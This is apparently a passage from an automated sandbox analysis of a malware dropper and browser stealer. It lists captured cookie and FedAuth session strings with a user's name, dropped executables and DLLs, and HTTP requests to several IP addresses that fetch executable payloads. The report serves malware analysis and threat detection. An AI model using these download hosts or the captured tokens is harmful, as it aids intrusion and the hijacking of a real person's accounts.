Y0ZTlqZ1dnYUNRbHp5UVh6Myt2VlNCSVNDaEQ3SmY1Y1cxSmxTcWp4a1dTUitBWnZHZ2tKdDJ2WXBlRHIxVWc9 app.vsaex.visualstudio.comTRUE/TRUE1532435243FedAuth77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il8xMzY5OGEwMS1iMDllLTRjZDYtYTRhNi03MjEyYWRhZTFkYTItQTY0NzUxQjY3RDU2NzgzODc5NDBFMkM1RkM1NzA0RjMiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6OTU5YWUwYzUtMGM0Ny00ZjkzLWExNTYtNjM1Njc1ZTIxN2I4PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQWVLNUJsOHJtSHI0c1dDcitMbjBzM3ZOSEkyd0hPcnhiUzJsT1VlL2VLYkZuUGdiZGUxQmJqcGdDcjFEMXhEOXBZRm8rKzVUNUF1MXBnc21VWEtiWDlvSmNNeTBTRURzcmk5WkhDWFZieUUrSTIzencyK2JZaS9JRklrTUtmQXlXTk5YMmhUSDM0OUZaS3M2M09DR0hLVGJVT3lzSTBodk90REF3Znk3NG9aMUx0U0VVVkloMmNqc25adVEwcUNHeEZIenhYR2thMjRIK1FWeitnb1ZHd3RjeFEydkh5cGdVYVZQYVN1U2hLWmEvd1lQME9uendhT3lVa0F6ZWJPR2RUSm41Zzl3WjI4bWapp.vsaex.visualstudio.comTRUE/TRUE1532435243FedAuth1MzBwcUQ4d3BNZHZ4cDhCd0ZacFdrWlNrYUM3VFFEbWkreHptSm9VN1dmazgya3FQajVjVzZvd29jenFiVnc4cVhua213eDJJZ2RjWXFnNkNCZXByU0x6emJ4cEY3RWM5Zmg1NUxjb2wxNzlCTmFsS1hCcElXZ0hyRS8vQk83Q1gwMHVCVTB5aldndzYvVUNPNlNVYlN3TGUzTVdISWZUSzhBZ2JVSS9MMXhlUHErMmh6aTJUYWZrZkxVMkd6dlFyT0F3SlAzSlk5TzBNQ1Q0RHhPOEw4NVBBS1BzMG8rSWtTM2JyTlhJRmFsSVI0WnkzWHkxRGMrNU9heVB0MzJHc1ZsenorZE5hRjNaQzBCcmI5Z2lKcktlQitOclU3aFhtbWVaczQ2VzZXREhWMkVBT1RNUnpKOWUrcGEzRmxMQmxGK3Z4ZTRPbCtlWDltSVlCVG8wczA4NXJkTDhjK2JJMUJQU0JWTGp1aE5BY2VEamZEQnVKN2JVS3hINmNQWHJsVFZVVndKM2NXUVhHVHBJaTJjb3pPTk9Ud3l5K0lvM2o4ZXRYRjZNZDhRRFdJMGVqK2c0R3QrVlJOWHFGR0tHSS9iKzNtdDRjcnhhMXdhYUt1cDVpYUN1RG9qZmFNdEFyeC8rQi85WFVsaEJSek1TRDZMRTJkSUhQbitmL3NOUUticHBrWnpHaEdlM1dKL2kyU2JudVcvTDFTbHExdy9SQWRjV0VmWW5leWNnYzlERlF3SmVnT1gzbjJPcm42OUFxM3NselhTY3RaazVobWowNGttSUh5YU1rbUd3OWJsQUdVY2NKYjdtUUF6NkowYlNRNlZOV2RjSGpCTDduZW80OU40c3NPa3VWNDBpTE0yQUxHMy9ZK0dFMVhmejBhNDN6YlFVdTM0L1o4cmxzbkI2YXZEc3hRVVdpd3NIMmdoWDd0MCtpNU5LckwyMVlEbVl5TFhNV.google.comTRUE/FALSE1547382453NID134=DJVDrFMJ_7WTMaThq4BwXW48xuuFIjrxm6k6mZ_-IesJ-g-kLcQY3mKLWPvC920yPSSa9r-hjI1JU5myF94eyuiNLyOIiQ47NoAWAf2r4JCnxGybgSxyJy1gh2I-6ic3JfcTIYjB9Bc www.google.comTRUE/FALSE1531831057DVgw7SsgaDfBIQ0N8QXx_eM9eFGkqDShY .microsoft.comTRUE/FALSE1531830496_galic-shellmenu_85 .visualstudio.comTRUE/TRUE1532435266SpsAuthenticatedUserDisplayName=Marc%20Rivero&aad=False .visualstudio.comTRUE/TRUE1689510466VstsSession%7B%22PersistentSessionId%22%3A%22d4708cf3-5d30-49b9-a6ff-e56cc387292d%22%2C%22PendingAuthenticationSessionId%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22CurrentAuthenticationSessionId%22%3A%22a452f370-9678-4bfb-bfa8-2d1cd43699e3%22%7D app.vssps.visualstudio.comTRUE/TRUE1532435243FedAuth77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il8yMmNjZWU4ZC1hMzdmLTQwYmQtYTZmZS1mOWRhODEzNjQ1ODEtNEI5N0I0REMyNDU0NEMwMEJCNjA0NjM3OEI2QTk4OEUiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6MTIzOGQ2M2YtNDA3Zi00MzA2LTgxY2MtZGMyMDgwNDFmMjE1PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQWJwWFNSbnlLQVo0VHpWbXdOTDB6WVVrQTBTRDBaUTJqa24xMW8xTUp4SXhSUkcvUGhMWEZVU0FSdDBVcHNsSC9MRStmMWJRUXo1RFI1Ny9rdWFCSVYvall2MWp4TkRLQ2YrSThwZm5qanMvd3Bna0ROWGhMakZqczB3OHpGcXhDZ2VpeHhHaW9CN1NIYjFWWm9JV3krY0FCUThoNUIvZWxDUTFYUFd4NnRLT3lxY0tjYWdMb3BRQ3NjbVQwZ1oxUzE3T0FTYmxxc0VZRWlra0hsOUtZTmt2QmVUQ1VDQjB6cmFtakNFWG1WdVZteWx1eWRtM2hZZWFob0U4WW10ZmtYVkRDbXdMRHpPbDapp.vssps.visualstudio.comTRUE/TRUE1532435243FedAuth1a2s4Qzh4SFI0YUZHbzFiVkFVWDJHdUJuMUZpNXBIUEN1R0NDZ0t6amZqVys4QlA4YitKQ1c0VmVjeWdTdlVrSUVqc3JiWm1ld0ptYnVaQ21PaENaSEN2U2NUS0FIWDJ0UXQrU3loQVV2eGVreWhrY0xIeTVpOHRWUnJRM0RCNmpUdE56YjlpNjV1bzBUc0lOZ1FpWFdZNUZEcDk5dVdQM1J2TGR1UEg4WXd4Y2tnZUJCNDh5ZnAvcTNyOVNENms5YTFadXRtYi84Vy9nZHpyMWsvL0pNWEpzb0h2cDNJRGxVK0JOOVdhT3dCamdURTJ4T3RZV3RvOWJUMVJxN3hUb1RwVFlkQ1V0QmtvYk9RMmpCTmZpQ3dOYmsvaDlCZUFHT2xxVmE3MGNwajRPbEJtMUg3dzVXWk80czVkVlhvTHdQMVV2bWdDQmpJOWtFbTNLbXlDWlBoWkozQmthTzBPYjl5cHFvcnEvNVZsVWU0cm1keGRTM2xZRFRheFhmSUwxR1hFTVhVRndBYzhvZHJNYjlrME9LR1dIK0xIZmVYQVo2RFFLcWMxcllFd0tpaExLRFRMR2M1Z0tNQStpMmF5MmVnNldvbExCSVJ5WjgwZTBOb2NralFQOHlkTVJXUlcrU2V3eVlJbitaM2UxSG1JTTdmWDh0cTFZWm0ybCt3QzUwMEpWVnVqOUJTL1FSZ0lSQjd2b0MvZEwrYlNHMm1VcHFwd081RmtTNktvQkxPdDZHOG1yaStPUHkrR1IwVk1qUVVzUERGT2JBdlVLcTFjejBENHQ1YmRFcllsZHRtRU43azl2YzRrckdvR2lDbTViSWJlTnQ2NlJBODdtYXgzMStCNmtBd3ZUdkFlcWhra0N1Sm43bStleWR1QVJSbmV6d3kwYnJEVU9KNFF2TkJjeWFFSWdHRU9zWU91dTYzYUdybUxLTStqV0NlNnQrTkxrbUtJWmy.visualstudio.comTRUE/TRUE1532435243FedAuth77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il81M2VjYWU5MC03NTk2LTQzZDctYWYyZC1iNGI0MjhmZDhiZjgtMEFBN0QzQjE1Q0U1MEY1NEYxMENGNTg0NUI0MjE4ODciIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6OTZiNjIyODYtNzA5Ni00MjBmLWE4NzAtYmU2YTY0Y2IxN2M3PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQU80a2t3Tkc1cXA5TzMyTFhsSlVVU2sxa3hsbGFaL0NZYy9ZR0hGRWRCY25jQzRabkdqWWVSMlExYTB4QXlTV3grYTArMUNaODdiYVB2NUx4aTQybVJ5MGR0b05ubUlFdU0xRmZ2YW9tcWxBWGNudzVFL1B4ZkVhVkJibTJxaS9zTzVHemMzZ1Flbi9JaG9IS213MEgyZXFBTnNISzU0U1p3MGJWb3lHVmJabG5DckFrSXh2Q0ZCOFg1WmZmalFiSXJUaWh2MXNmK29tcE4zYjc3Q0Rwc3lqWUpyQW1TMWdEQnJnOXVvZ0QwTDhiVStSVTJNTVV0MURZMGx5N2tTckFrNmtHTE1LMEF5VytCaUFJamy.visualstudio.comTRUE/TRUE1532435243FedAuth1d01NazVCRm1HU0NFTjZ5bFNFbEZqaFk4cXAvdWtaRGFtWUtLNTJHRHRRWnVnYWJPWkg0RHYrYUNVQitDb1dOelNaWDV0UnBJb0JJb3RybVBHcWtEdnZhN00xY01kZTd5Tml5cmdsajNjbVhQZ3lxWERxV0FsQzJHbG5YV0dyUHRETE0wRllKY21GV3FQaVVOcGt6VU1sOFdMRkQ5QXZGNEFrZ3RYNmlsVFIzRWdob3Ryd1VMZ3cxUEJMODk5YU5sNWM1YkVXTzNyTTUzSmpNSGN4bGpsOEdTYlgwaExoU1U4aUwzTkIyQjQyNjk3VzZSRnNGYUwxeHhJemNwLzgxYUxHd0YrY2tHc0pzWTdtN2N6Yy92QWppVUZpSnhIYldNbm5taUJYQ3F0RVNSY2ZrUGx4NVh1TkFUK1NkbTcyYXdQS2dhbVNGRUhvY0pCZ21ENWlsTXJsQUh0dVVvL25qSlhvQ1pHUnVMVnd1QjVHMFozTEREbnVTeUFwR0pTYllZd1llUUs0U2p0YmxEMGpVV3FManorN2pkTkthU2lCSEo4MURDTnhwK2xiRDM2b1ZEdklNWG1SOEFlVDVrbk1xajZaMnRwSnQ3MXVpd3ZWR1lnWm0vR1VuY3NoQUNnVEx2SmpPWXFRM0dFeThXRXlIQUszTzI4SDBjVVhBbm5MVXduNU51T002M25LK3UxRGp1YUxyYlZmM0ZsbHdNRXRRaUR1UHcvZjZwbHZYQnlOQlVYKzFua3RWckZpNjBzNWxiK0RjbmVVRUIxZ1ZtTVNwZXgvcWlWN1FVZUVIZGduOTNHSVdKOW8rd3NkOEc3R00xbFNUTUgrUWIvT1dMeHZRSzVwT0lhaFgwaVVZRGxBaWtPQlJzRko4UWpuVC8xSTdBV0RnbGNTMUJycFJ5YkNSMDlTMmZMdHNiTncza3V6RHBJeXE0SGoyZUYzaXVtc09GNGlSQjJsK3pnvlscppe.microsoft.comTRUE/TRUE1687350467thx_guid459f7c585ccc4e1bae96039138b93fde .microsoft.comTRUE/TRUE1594988868MUID12a11495-8216-468c-b4ef-91a01564edd7 .google.comTRUE/FALSE1534422677OGP-5061451: .google.comTRUE/FALSE15344226801P_JAR2018-07-17-12 .microsoft.comTRUE/FALSE1594902682optimizelyEndUserIdoeu1531830459748r0.9733928579012604 .microsoft.comTRUE/FALSE1594902687_gaGA1.2.746119596.1531830390 .microsoft.comTRUE/FALSE1531917087_gidGA1.2.1680687488.1531830390 .microsoft.comTRUE/FALSE1531830747_gat1 C:\Users\iU35TUU\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default| --L4Qm2L14t7NE7Ciw--"47:T4e5,"InstallUtil.exe" read file "C:\Windows\SysWOW64\GroupPolicy\gpt.ini" "InstallUtil.exe" read file "C:\Windows\System32\GroupPolicy\gpt.ini" "TqCmbPDunlWW8L0MzoqQOE05.exe" read file "C:\Windows\win.ini" "TqCmbPDunlWW8L0MzoqQOE05.exe" read file "C:\Users\%OSUSER%\Desktop\desktop.ini" "TqCmbPDunlWW8L0MzoqQOE05.exe" read file "C:\Users\%OSUSER%\Documents\desktop.ini" "TqCmbPDunlWW8L0MzoqQOE05.exe" read file "C:\Users\%OSUSER%\Music\desktop.ini" "TqCmbPDunlWW8L0MzoqQOE05.exe" read file "C:\Users\%OSUSER%\Pictures\desktop.ini" "TqCmbPDunlWW8L0MzoqQOE05.exe" read file "C:\Users\%OSUSER%\Videos\desktop.ini" "TqCmbPDunlWW8L0MzoqQOE05.exe" read file "C:\Users\%OSUSER%\Downloads\desktop.ini" "TqCmbPDunlWW8L0MzoqQOE05.exe" read file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "i5NUMaNH2togQeBv7Jyo6PpD.exe" read file "C:\Windows\win.ini" "i5NUMaNH2togQeBv7Jyo6PpD.exe" read file "C:\Users\%OSUSER%\Desktop\desktop.ini" "i5NUMaNH2togQeBv7Jyo6PpD.exe" read file "C:\Users\%OSUSER%\Documents\desktop.ini" "i5NUMaNH2togQeBv7Jyo6PpD.exe" read file "C:\Users\%OSUSER%\Music\desktop.ini" "i5NUMaNH2togQeBv7Jyo6PpD.exe" read file "C:\Users\%OSUSER%\Pictures\desktop.ini" "i5NUMaNH2togQeBv7Jyo6PpD.exe" read file "C:\Users\%OSUSER%\Videos\desktop.ini"48:Tca3,"123.EXE.63A6FA2E.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "321.EXE.63A6FA31.bin" has type "PE32 executable (GUI) Intel 80386 (stripped to external PDB) for MS Windows"- [targetUID: N/A] "softokn3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\ow\softokn3.dll]- [targetUID: 00000000-00005608] "setup331_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "123.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%WINDIR%\Temp\123.exe]- [targetUID: 00000000-00006608] "t1Zbrj1itpE9fbhbR3AqjWey.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%USERPROFILE%\Pictures\Minor Policy\t1Zbrj1itpE9fbhbR3AqjWey.exe]- [targetUID: 00000000-00006364] "freebl3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\ow\freebl3.dll]- [targetUID: 00000000-00005608] "lab_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "A02FZXMsOhT8vUffJfmsE6xk.exe" has type "MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB) for MS Windows MZ for MS-DOS"- Location: [%USERPROFILE%\Pictures\Minor Policy\A02FZXMsOhT8vUffJfmsE6xk.exe]- [targetUID: 00000000-00006996] "PowerControl_Svc.exe" has type "MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB) for MS Windows MZ for MS-DOS"- Location: [%PROGRAMFILES%\(x86)\PowerControl\PowerControl_Svc.exe]- [targetUID: 00000000-00006996] "setup_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows InnoSetup self-extracting archive"- [targetUID: N/A] "msvcp140.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%WINDIR%\SysWOW64\msvcp140.dll]- [targetUID: 00000000-00005608] "nss3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\ow\nss3.dll]- [targetUID: 00000000-00005608] "WNst4DDcz7SNmvPN7EHhdVA3.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%USERPROFILE%\Pictures\Minor Policy\WNst4DDcz7SNmvPN7EHhdVA3.exe]- [targetUID: 00000000-00007824] "6523_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "C8_Qu2FeVDw2iL7F0qC52rTI.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%USERPROFILE%\Pictures\Minor Policy\C8_Qu2FeVDw2iL7F0qC52rTI.exe]- [targetUID: 00000000-00007824] "sqlite3.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\ow\sqlite3.dll]- [targetUID: 00000000-00005608] "Ae0c.cpl" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\Ae0c.cpl]- [targetUID: 00000000-00002040] "TqCmbPDunlWW8L0MzoqQOE05.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%USERPROFILE%\Pictures\Minor Policy\TqCmbPDunlWW8L0MzoqQOE05.exe]- [targetUID: 00000000-00005908] "h_26wPXBLIlKW3_tlCXuCIgV.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%USERPROFILE%\Pictures\Minor Policy\h_26wPXBLIlKW3_tlCXuCIgV.exe]- [targetUID: 00000000-00007216]49:T668,"mgfDPgPzpR3n3eooxTPENoOw.exe" wrote 48640 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-QA9VR.tmp\is-OJFQK.tmp": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "is-OJFQK.tmp" wrote 4608 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-KQK8Q.tmp\_isetup\_setup64.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "is-OJFQK.tmp" wrote 23312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-KQK8Q.tmp\_isetup\_shfoldr.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "is-OJFQK.tmp" wrote 2560 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-KQK8Q.tmp\_iscrypt.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...4a:T193c,"1.0.0.0" "208.67.104.60" Potential IP "208.67.104.60" found in string "GET /api/tracemap.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 208.67.104.60" "163.123.143.4" Potential IP "163.123.143.4" found in string "HEAD /EXT/crypto_tab.jpeG HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 163.123.143.4 Cache-Control: no-cache" Potential IP "163.123.143.4" found in string "GET /EXT/crypto_tab.jpeG HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 163.123.143.4 Cache-Control: no-cache" Potential IP "163.123.143.4" found in string "GET /EXT/crypto_tab.png HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 163.123.143.4" Potential IP "163.123.143.4" found in string "HEAD /download/Service.bmp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 163.123.143.4 Cache-Control: no-cache" Potential IP "163.123.143.4" found in string "GET /download/Service.bmp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 163.123.143.4 Cache-Control: no-cache" "95.214.24.96" Potential IP "95.214.24.96" found in string "HEAD /load.php?pub=mixinte HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 95.214.24.96 Cache-Control: no-cache" "45.84.0.83" Potential IP "45.84.0.83" found in string "HEAD /2825.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 45.84.0.83 Cache-Control: no-cache" "194.110.203.101" Potential IP "194.110.203.101" found in string "HEAD /puta/softwinx86.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 194.110.203.101 Cache-Control: no-cache" "91.213.50.96" Potential IP "91.213.50.96" found in string "HEAD /files/hobnob.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 91.213.50.96 Cache-Control: no-cache" Potential IP "95.214.24.96" found in string "GET /load.php?pub=mixinte HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 95.214.24.96 Cache-Control: no-cache" Potential IP "194.110.203.101" found in string "GET /puta/softwinx86.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 194.110.203.101 Cache-Control: no-cache" Potential IP "45.84.0.83" found in string "GET /2825.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 45.84.0.83 Cache-Control: no-cache" Potential IP "91.213.50.96" found in string "GET /files/hobnob.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 91.213.50.96 Cache-Control: no-cache" "45.15.156.105" Potential IP "45.15.156.105" found in string "GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: 23591 Host: 45.15.156.105 Connection: Keep-Alive Cache-Control: no-cache" Potential IP "45.15.156.105" found in string "GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll HTTP/1.1 Content-Type: text/plain; User-Agent: 23591 Host: 45.15.156.105 Connection: Keep-Alive Cache-Control: no-cache" Potential IP "45.15.156.105" found in string "GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll HTTP/1.1 Content-Type: text/plain; User-Agent: 23591 Host: 45.15.156.105 Connection: Keep-Alive Cache-Control: no-cache" Potential IP "45.15.156.105" found in string "GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll HTTP/1.1 Content-Type: text/plain; User-Agent: 23591 Host: 45.15.156.105 Connection: Keep-Alive Cache-Control: no-cache" "65.21.213.208" Potential IP "65.21.213.208" found in string "POST / HTTP/1.1 Connection: Keep-Alive User-Agent: WinHTTP Example/1.0 Content-Length: 0 Host: 65.21.213.208:3000" Potential IP "45.15.156.105" found in string "GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: 23591 Host: 45.15.156.105 Connection: Keep-Alive Cache-Control: no-cache" Potential IP "45.15.156.105" found in string "GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: 23591 Host: 45.15.156.105 Connection: Keep-Alive Cache-Control: no-cache" Potential IP "45.15.156.105" found in string "GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: 23591 Host: 45.15.156.105 Connection: Keep-Alive Cache-Control: no-cache" Potential IP "108.0.0.0" found in string "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.42" Potential IP "108.0.0.0" found in string "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.42 Host: aaa.apiaaaeg.com" Potential IP "208.67.104.60" found in string "GET /api/tracemap.php HTTP/1.1 Connection: Keep-Alive Host: 208.67.104.60" Potential IP "163.123.143.4" found in string "HEAD /download/WW14.bmp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 163.123.143.4 Cache-Control: no-cache" Potential IP "163.123.143.4" found in string "GET /download/WW14.bmp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 163.123.143.4 Cache-Control: no-cache" "6.9.0.114" "0.0.0.0"4b:T568,TCP traffic to 31.31.196.244 on port 80 is sent without HTTP header TCP traffic to 208.67.104.60 on port 80 is sent without HTTP header TCP traffic to 34.117.59.81 on port 443 is sent without HTTP header TCP traffic to 163.123.143.4 on port 80 is sent without HTTP header TCP traffic to 87.240.132.72 on port 80 is sent without HTTP header TCP traffic to 87.240.132.72 on port 443 is sent without HTTP header TCP traffic to 95.214.24.96 on port 80 is sent without HTTP header TCP traffic to 45.84.0.83 on port 80 is sent without HTTP header TCP traffic to 194.110.203.101 on port 80 is sent without HTTP header TCP traffic to 104.21.6.159 on port 80 is sent without HTTP header TCP traffic to 104.21.33.100 on port 80 is sent without HTTP header TCP traffic to 91.213.50.96 on port 80 is sent without HTTP header TCP traffic to 104.21.6.159 on port 443 is sent without HTTP header TCP traffic to 91.215.85.147 on port 80 is sent without HTTP header TCP traffic to 104.21.33.100 on port 443 is sent without HTTP header TCP traffic to 185.246.221.154 on port 80 is sent without HTTP header TCP traffic to 95.142.206.2 on port 443 is sent without HTTP header TCP traffic to 87.240.137.140 on port 443 is sent without HTTP header TCP traffic to 148.251.234.93 on port 443 is sent without HTTP header TCP traffic to 148.251.234.83 on port 443 is sent without HTTP header4c:T7ad,"InstallUtil.exe" opened "C:\Users\%OSUSER%\Pictures\Minor Policy\OPdJAdbme6XSOunxiYsiJTuO" with delete access "InstallUtil.exe" opened "C:\Users\%OSUSER%\Pictures\Minor Policy\i5NUMaNH2togQeBv7Jyo6PpD.exe" with delete access "mgfDPgPzpR3n3eooxTPENoOw.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\is-QA9VR.tmp\is-OJFQK.tmp" with delete access "TqCmbPDunlWW8L0MzoqQOE05.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__tmp_rar_sfx_access_check_907720843" with delete access "i5NUMaNH2togQeBv7Jyo6PpD.exe" opened "C:\Windows\Temp\__tmp_rar_sfx_access_check_907727328" with delete access "is-OJFQK.tmp" opened 